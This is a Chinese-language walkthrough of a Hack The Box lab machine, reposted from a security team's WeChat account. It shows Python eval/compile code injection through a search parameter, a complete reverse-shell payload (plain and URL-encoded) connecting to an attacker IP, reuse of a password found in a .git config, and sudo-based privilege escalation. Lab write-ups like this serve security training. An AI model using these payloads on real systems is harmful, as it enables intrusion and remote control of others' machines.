记一次HTB打靶

admin 2023年6月6日01:31:24评论9 views字数 2030阅读6分46秒阅读模式



免责声明: 文章仅用于技术分享,切勿非法测试,由于传播、利用本公众号朱厌安全团队所提供的信息而造成的后果以及损失,均由使用者本人承担,本公众号朱厌安全团队以及作者不为此承担任何责任!如有侵权烦请告知,我们会立即删除并致歉!

记一次HTB打靶

nmap扫描

记一次HTB打靶

可以看到,开放的经典端口2280

我们先打开80看看

记一次HTB打靶

可以看到这是一个全英文界面,我也不知道这是一个什么界面。(既然不知道,那就放翻译器里)

通过翻译才知道,这是一个集合多种搜索引擎来搜索的页面。

然后输入参数抓包看看返回结果

记一次HTB打靶

然后发现修改query参数会返回不同结果

记一次HTB打靶

SQL注入!!!

难道这个盒子就这么简单吗?直接就sqlmap一把梭了?

记一次HTB打靶

呵!果然不会如此。

继续查看网页内容发现一个不知道什么东西加版本号

记一次HTB打靶

点进去跳转到一个github页面

记一次HTB打靶

浏览发现一个信息

记一次HTB打靶

这是调用脚本来获取数据的

于是猜测我们能不能自己构造payload来让它执行系统命令获取数据,然后返回给前端。

那么在python中如何构造payload能让它执行系统命令呢?

经过搜索发现

记一次HTB打靶

参考文献

https://realpython.com/python-eval-function/

然后构造payload

> eval(compile('import os;os.system("whoami")','','exec'))

python{class="line-numbers"}compile() 是一个 Python 内置函数,用于编译字符串、文件或 AST(Abstract Syntax Trees)对象成为字节码或 AST 对象。它的语法为:compile() 函数编译完成后,将会返回一个 code 对象,这个对象可以传递给 exec() 函数执行,也可以将其作为模块使用。compile() 函数在 Python 中比较常用,常用于动态编译、语法检查和代码执行等场景中。

然后我们在本地测试

记一次HTB打靶

接下来就尝试把我们构造的payload拿去用用看

注意:用payload之前要把前面和后面的引导闭合

记一次HTB打靶

发现我们的构造的payload失败,无回显。

这里猜测应该是命令中间没有用空格分割,后台识别成了一条命令了,

于是在闭合的引号前面和后面分别加上空格(用%2b代替)

记一次HTB打靶

成功!!!!

反弹shell

然后构造payload反弹shell

payload:

{class="line-numbers"}1' eval(compile('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.70",5555));os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2);import pty; pty.spawn("/bin/bash")','','exec')) ’1'%2beval(compile('import+socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.70%22%2C5555))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bimport%20pty%3B%20pty.spawn(%22%2Fbin%2Fbash%22)','','exec'))%2b'

记一次HTB打靶

成功反弹。

翻看目录发现一个.git文件

记一次HTB打靶

进入目录

记一次HTB打靶

查看config文件

记一次HTB打靶

查看到一个cody用户名和密码jh1usoih2bkjaspwe92

尝试ssh登录

记一次HTB打靶

呵!果然,又失败了。

在这里被困了好一会儿,然后突然看到我现在登录的是`svg`用户,就联想到上面那个密码会不会是这个用户的密码。

记一次HTB打靶

果然,成功!!!

提权

老套路sudo -l

记一次HTB打靶

执行命令发现full-checkup文件,作用是Run a full system checkup,执行一下看。

记一次HTB打靶

提示Something went wrong意思是出了一些问题

先跳转到对应目录看看

记一次HTB打靶

发现有几个sh脚本,想查看,但是没有权限。

猜测system-checkup.py文件应该是用来执行sh脚本的。返回svg目录创建个脚本试试看。

记一次HTB打靶

成功!!!

最后获取flag

记一次HTB打靶






记一次HTB打靶



朱厌安全团队成员由一群网络安全技术爱好者以及该领域从业者组成,团队成员来自全国各地,团队创建初衷是为了相互学习、共同追求技术进步!欢迎各位师傅们朱厌安全团队交流群共同打造一个好的学习氛围,共同分享技术、相互学习,同时也欢迎师傅们向朱厌安全团队投稿文章,感谢师傅们支持!群满可加运营vx:lzcrd0820记一次HTB打靶



记一次HTB打靶

扫描下方“二维码”,来一起相互学习吧!

记一次HTB打靶

原文始发于微信公众号(朱厌安全团队):记一次HTB打靶

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:31:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次HTB打靶https://cn-sec.com/archives/1729685.html

发表评论

匿名网友 填写信息